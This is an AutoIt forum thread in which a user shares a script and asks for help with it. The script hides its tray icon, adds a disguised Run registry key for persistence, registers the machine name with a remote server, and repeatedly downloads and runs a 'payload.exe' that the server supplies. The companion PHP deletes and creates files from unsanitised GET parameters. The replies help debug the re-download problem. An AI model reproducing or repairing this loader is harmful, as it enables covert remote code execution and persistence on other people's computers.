COD3369 Posted May 24, 2015 Posted May 24, 2015 (edited) I made a script that create a folder on server with current computer name usings php (Winhttp) after that program looks for a "payload.exe" when availble on server then it will download the file and exeute it. and delete the downloaded file from server using php.the again look for file (payload.exe) in a loop when availeble it will download and execute the update. Problem: once it download the file from server and execute and delete the file from server. But after deleting the file from server it still downloading the file again n again!! m not getting from where its downloading the file in actual that really does not exsist on server? !! My Autoit Code below!expandcollapse popup#NoTrayIcon #include "WinHttp.au3" #include <Crypt.au3> #include <InetConstants.au3> #include <MsgBoxConstants.au3> #include <Inet.au3> Local $Temp = Random(0,50) & ".exe" Local $RegKey = "ProgramUpdater" Local $MD5 = _Crypt_HashData ( $RegKey , $CALG_MD5 ) Local $MD5F = StringTrimLeft ( $MD5 , 2 ) Local $IP = "" Local $PayloadName = "payload.exe" Local $sServer = "http://someserever.com/" Local $ExtPath = "folder1/folder2/" Local $foldermake = "process.php?folder=" & @ComputerName & "-" & $IP Local $FileDel = "process.php?folder=" & @ComputerName & "-" & $IP & "&" & "paydel=" & $PayloadName Local $mLink = $sServer & $ExtPath & @ComputerName & "-" & $IP & "/" & $PayloadName RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", $RegKey & $MD5F , "REG_SZ", @ScriptFullPath ) Local $sOpen = _WinHttpOpen() Local $sConnect = _WinHttpConnect($sOpen, $sServer) Local $sRequest = _WinHttpOpenRequest($sConnect, Default, $ExtPath & $foldermake ) _WinHttpSendRequest($sRequest) _WinHttpCloseHandle($sRequest) _WinHttpCloseHandle($sConnect) while 1 if FileExists (@ScriptDir & "\" & $PayloadName) Then Else Local $sFilePath = @ScriptDir & "/" & $PayloadName Local $hDownload = InetGet($mLink , @ScriptDir & "/" & $Temp, $INET_BINARYTRANSFER , $INET_DOWNLOADBACKGROUND) Do Sleep(250) Until InetGetInfo($hDownload, $INET_DOWNLOADCOMPLETE) Local $iBytesSize = InetGetInfo($hDownload, $INET_DOWNLOADREAD) Local $iFileSize = FileGetSize($sFilePath) InetClose($hDownload) Exit ;Run ( @ScriptDir & "\" & $PayloadName ) Local $sOpen = _WinHttpOpen() Local $sConnect = _WinHttpConnect($sOpen, $sServer) Local $sRequest = _WinHttpOpenRequest($sConnect, Default, $ExtPath & $FileDel ) _WinHttpSendRequest($sRequest) _WinHttpCloseHandle($sRequest) _WinHttpCloseHandle($sConnect) EndIf sleep(10000) WEndm using this public UDF: https://github.com/dragana-r/autoit-winhttp/releasesphp that i am using code below <?php $paydel = $_GET['paydel']; $folder = $_GET['folder']; unlink ($folder . "/" . $paydel); mkdir($folder , 0777); ?> Please help me in this Thank you !! Edited May 24, 2015 by COD3369
Danp2 Posted May 24, 2015 Posted May 24, 2015 Cod3369,You should wait at least 24 hours before bumping your post. Lots of folks, including myself, will read a thread and move on without responding. A couple of items for you to examine:Have you verified that the file deletion is actually occurring on the server?Where are you deleting the local copy of the file?Regards, Dan COD3369 1 Latest Webdriver UDF Release Webdriver Wiki FAQs
JohnOne Posted May 24, 2015 Posted May 24, 2015 (edited) 3 views no reply ;(PMSL EDIT: Probably getting it from cache. Use flag $INET_FORCERELOAD Edited May 24, 2015 by JohnOne COD3369 1 AutoIt Absolute Beginners Require a serial Pause Script Video Tutorials by Morthawt ipify Monkey's are, like, natures humans.
COD3369 Posted May 24, 2015 Author Posted May 24, 2015 @Danp2 first of all thank you for your reply brother.Yeah i confirmed file is deleting from server and from local path.
JohnOne Posted May 24, 2015 Posted May 24, 2015 Ace. AutoIt Absolute Beginners Require a serial Pause Script Video Tutorials by Morthawt ipify Monkey's are, like, natures humans.
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now